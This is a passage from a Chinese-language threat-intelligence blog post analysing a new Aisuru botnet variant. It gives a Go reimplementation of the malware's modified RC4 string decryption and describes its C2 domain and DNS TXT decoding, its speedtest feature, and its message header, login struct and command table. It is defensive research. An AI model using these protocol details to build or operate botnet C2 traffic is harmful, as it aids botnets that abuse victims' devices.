:= <span class="code-snippet__number">0</span>; j &lt; <span class="code-snippet__number">256</span>; j++ {</span></code><br/><code><span leaf="">		S[j] = <span class="code-snippet__type">byte</span>(i &amp; <span class="code-snippet__number">0xff</span>)</span></code><br/><code><span leaf="">		i -= <span class="code-snippet__number">89</span></span></code><br/><code><span leaf="">	}</span></code><br/><code><span leaf="">	j := <span class="code-snippet__number">0</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> i := <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">256</span>; i++ {</span></code><br/><code><span leaf="">		j = (j + <span class="code-snippet__type">int</span>(S[i]) + <span class="code-snippet__type">int</span>(key[i%<span class="code-snippet__number">4</span>]&gt;&gt;(i%<span class="code-snippet__number">32</span>))) % <span class="code-snippet__number">256</span></span></code><br/><code><span leaf="">		S[i], S[j] = S[j], S[i]</span></code><br/><code><span leaf="">	}</span></code><br/><code><span leaf="">	seed := <span class="code-snippet__type">uint32</span>(<span class="code-snippet__number">0xE0A4CBD6</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> i := <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">5</span>; i++ {</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> k := <span class="code-snippet__number">0</span>; k &lt; <span class="code-snippet__number">256</span>; k++ {</span></code><br/><code><span leaf="">			seed = <span class="code-snippet__number">0x41C64E6D</span>*seed + <span class="code-snippet__number">12345</span></span></code><br/><code><span leaf="">			t := (seed * <span class="code-snippet__type">uint32</span>(S[k])) &gt;&gt; <span class="code-snippet__number">24</span></span></code><br/><code><span leaf="">			t1 := (seed ^ key[(i+k)%<span class="code-snippet__number">4</span>] ^ <span class="code-snippet__type">uint32</span>(S[k])) &amp; <span class="code-snippet__number">0xff</span></span></code><br/><code><span leaf="">			S[k] = <span class="code-snippet__type">byte</span>(t1)</span></code><br/><code><span leaf="">			j = (<span class="code-snippet__type">int</span>(t1) + j + <span class="code-snippet__type">int</span>(t)) &amp; <span class="code-snippet__number">0xff</span></span></code><br/><code><span leaf="">			S[k] = S[j]</span></code><br/><code><span leaf="">			S[j] = <span class="code-snippet__type">byte</span>(t1)</span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">	}</span></code><br/><code><span leaf="">	i, j, k := <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span></span></code><br/><code><span leaf="">	m := <span class="code-snippet__type">uint32</span>(<span class="code-snippet__number">1</span>)</span></code><br/><code><span leaf="">	result := <span class="code-snippet__built_in">make</span>([]<span class="code-snippet__type">byte</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__built_in">len</span>(data))</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> _, byteVal := <span class="code-snippet__keyword">range</span> data {</span></code><br/><code><span leaf="">		i = (i + <span class="code-snippet__number">1</span>) % <span class="code-snippet__number">256</span></span></code><br/><code><span leaf="">		j = (j + <span class="code-snippet__type">int</span>(S[i])) % <span class="code-snippet__number">256</span></span></code><br/><code><span leaf="">		k = (k + <span class="code-snippet__type">int</span>(S[(i+j)%<span class="code-snippet__number">256</span>])) % <span class="code-snippet__number">256</span></span></code><br/><code><span leaf="">		S[i], S[j] = S[j], S[i]</span></code><br/><code><span leaf="">		m = rol32(m, <span class="code-snippet__number">1</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> (m &amp; <span class="code-snippet__number">1</span>) != <span class="code-snippet__number">0</span> {</span></code><br/><code><span leaf="">			m ^= <span class="code-snippet__number">0xD800A4</span></span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">		t := (S[(k+j)%<span class="code-snippet__number">256</span>] + S[(j+i)%<span class="code-snippet__number">256</span>]) &amp; <span class="code-snippet__number">0xff</span></span></code><br/><code><span leaf="">		t1 := ((<span class="code-snippet__type">byte</span>(m) ^ S[t]) &gt;&gt; <span class="code-snippet__number">4</span>) ^ rol8(<span class="code-snippet__type">byte</span>(m)^S[t], <span class="code-snippet__number">3</span>)&amp;<span class="code-snippet__number">0xff</span></span></code><br/><code><span leaf="">		result = <span class="code-snippet__built_in">append</span>(result, byteVal^t1)</span></code><br/><code><span leaf="">	}</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">return</span> result</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">以下图的密文为例：</span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000464" alt="aisuru_ciphertxt.png" class="rich_pages wxw-img" data-ratio="0.2074074074074074" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=585403db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIQCfqKKBtWb9EXZJB8hntcic929H6ILpibbBOiaN65zpeqWY1RD33Jxerw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">使用AIRASHI_RC4解密后，我们得到的明文是一条充满挑衅意味的信息。对此，我们只想回应一句：“阁下莫非是皮痒了？”</span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li style="font-size:14px;background-color:#ffffff;"><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;background-color: rgb(255, 255, 255);font-style: italic;text-decoration: underline;">tHiS mOnTh At qiAnXin shitlab a NeW aisurU vErSiOn hIt oUr bOtMoN sYsTeM dOiNg tHe CHAaCha sLiDe</span></span></p></li><li style="font-size:14px;background-color:#ffffff;"><p><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(255, 255, 255);text-decoration: underline;">翻译为中文为：本月在奇安信的shitlab，一个新的Aisuru版本出现在了我们的BotMon系统，正在跳ChaCha舞。</span></span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">当然，AISURU在样本中隐藏的信息远不止这一条。感兴趣的读者可以自行对样本（MD5: 053a0abe0600d16a91b822eb538987bca3f3ab55）进行解密分析。一旦成功解密，你就会明白，我们为何下定决心要坚决打击这一网络攻击团伙。</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">C2获取</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">样本继续保持之前的C2解密方法，通过</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">|</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">分割从字符串表中解密的C2字符串，得到多个子域名和主域名，再通过</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">,</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">分割多个子域名，示例如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">decrypted str: sub1,sub2,sub3|domain.tld</span></code><br/><code><span leaf=""><span class="code-snippet__section">c2_1: sub1.domain.tld</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">c2_2: sub2.domain.tld</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">c2_3: sub3.domain.tld</span></span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在解析域名时，仍使用加密的TXT记录，在之前的blog的样本中使用base64+ChaCha20进行解密，新版本只是弃用了ChaCha20，改用异或获取IP。对C2解密感兴趣的读者，可参阅Appendix章节的CyberChef，只需要将C2的TXT记录复制到INPUT即可。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000470" alt="dns_txt_decode.png" class="rich_pages wxw-img" data-ratio="0.6240740740740741" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=596e0921&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIsSVeqBtkRic6GxD9zibSY9q4JYBDBmANrCfx5dlrJsMFLKTTsNnvAuuA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">网速测试</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">开发者在最新的几个版本中，加入了网络上传速度测试的功能，该功能使用了</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">speedtest</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">的公共服务</span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">GET /speedtest-servers-static.php 获取测试服务器</span></p></li></ul><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">GET /speedtest/latency.txt 获取延迟最低的服务器</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">向延迟最低的服务器POST随机数据，时间为10s（部分样本为100ms）</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">但该功能并不会对程序运行和C2连接方面产生影响，只是在得到结果后向C2报告。我们认为测速这一新增加功能的的目的是为后续的代理指令服务，很显然C2会向一些网络良好的节点下发代理指令，让其成为住宅代理中的一环。</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">网络协议</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">协议方面和之前版本相比，整体流程变化不大，仍保留获取共享的ChaCha20密码、确认机制，只是在消息格式和指令、加密算法方面做修改。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">新的消息由三部分构成：消息头、随机字节和消息体，如图所示是解密后的上线包：</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000471" alt="login_msg.png" class="rich_pages wxw-img" data-ratio="0.5633802816901409" data-type="png" data-w="639" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3707a238&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJI6Bgl4HDWbDgHyz2MnWMK7jw2YSVSchicGhqqUrDHdNpIicF3kKk4Dtzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">消息头长度固定为8字节，由4个字段组成：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">msgType</span>(<span class="code-snippet__number">1</span>byte) + randSize(<span class="code-snippet__number">1</span>byte) + bodySize(<span class="code-snippet__number">2</span>byte) + bodyHash(<span class="code-snippet__number">4</span>byte)</span></code></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">上线包新增字段：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">struct</span> login{</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint32</span> stun_ip;  </span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint32</span> botid_len;</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">char</span> botid[botid_len];</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint32</span> version;</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint32</span> nodename_len;</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">char</span> nodename[nodename_len];</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint32</span> cwd_len;</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">char</span> cwd[cwd_len];</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint32</span> kernel_ver_len;</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">char</span> kernel_ver[kernel_ver_len];</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint16</span> reserve1;</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">uint8</span> reserve2;</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">bool</span> support_udp;</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">新版本支持的指令及对应的功能描述如下：</span></p><table><thead><tr><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">msgType</span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">desc</span></p></th></tr></thead><tbody><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">0</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">get shared net key</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">1</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">key info</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">2</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">confirm key</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">3</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">login info</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">4</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">heartbeat</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">5</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 